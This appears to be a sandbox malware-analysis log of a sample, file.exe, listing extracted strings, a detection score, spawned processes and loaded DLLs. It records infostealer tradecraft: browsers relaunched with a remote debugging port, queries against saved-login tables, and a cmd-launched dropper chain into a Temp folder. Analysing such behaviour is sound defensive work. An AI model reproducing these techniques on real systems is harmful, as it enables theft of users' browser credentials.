Source: file.exe, 00000000.00000002.2748365117.000000006CB3F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2747334863.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2732650987.000000001DEE7000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2748365117.000000006CB3F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2747334863.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2732650987.000000001DEE7000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2748365117.000000006CB3F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2747334863.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2732650987.000000001DEE7000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2748365117.000000006CB3F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2747334863.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2732650987.000000001DEE7000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2748365117.000000006CB3F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2747334863.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2732650987.000000001DEE7000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2747334863.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2732650987.000000001DEE7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2474927672.000000001DDD9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2373592639.000000001DDE5000.00000004.00000020.00020000.00000000.sdmp, KFCFIEHCFIECBGCBFHIJ.0.dr, GIEBFHCAKFBGDHIDHIDB.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2747334863.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2732650987.000000001DEE7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2747334863.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2732650987.000000001DEE7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 34%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsHIEHDHCFIJ.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2456 --field-trial-handle=2172,i,16563569223138878126,8072281242689718067,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2512 --field-trial-handle=2356,i,896434487483437889,5900852296166254822,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1944,i,15131678784192994985,8592159304647755750,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6524 --field-trial-handle=1944,i,15131678784192994985,8592159304647755750,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6796 --field-trial-handle=1944,i,15131678784192994985,8592159304647755750,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7536 --field-trial-handle=1944,i,15131678784192994985,8592159304647755750,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7536 --field-trial-handle=1944,i,15131678784192994985,8592159304647755750,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHIEHDHCFIJ.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsHIEHDHCFIJ.exe "C:\Users\user\DocumentsHIEHDHCFIJ.exe"
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6752 --field-trial-handle=1944,i,15131678784192994985,8592159304647755750,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHIEHDHCFIJ.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2456 --field-trial-handle=2172,i,16563569223138878126,8072281242689718067,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2512 --field-trial-handle=2356,i,896434487483437889,5900852296166254822,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1944,i,15131678784192994985,8592159304647755750,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6524 --field-trial-handle=1944,i,15131678784192994985,8592159304647755750,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6796 --field-trial-handle=1944,i,15131678784192994985,8592159304647755750,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7536 --field-trial-handle=1944,i,15131678784192994985,8592159304647755750,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7536 --field-trial-handle=1944,i,15131678784192994985,8592159304647755750,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6752 --field-trial-handle=1944,i,15131678784192994985,8592159304647755750,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsHIEHDHCFIJ.exe "C:\Users\user\DocumentsHIEHDHCFIJ.exe"
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
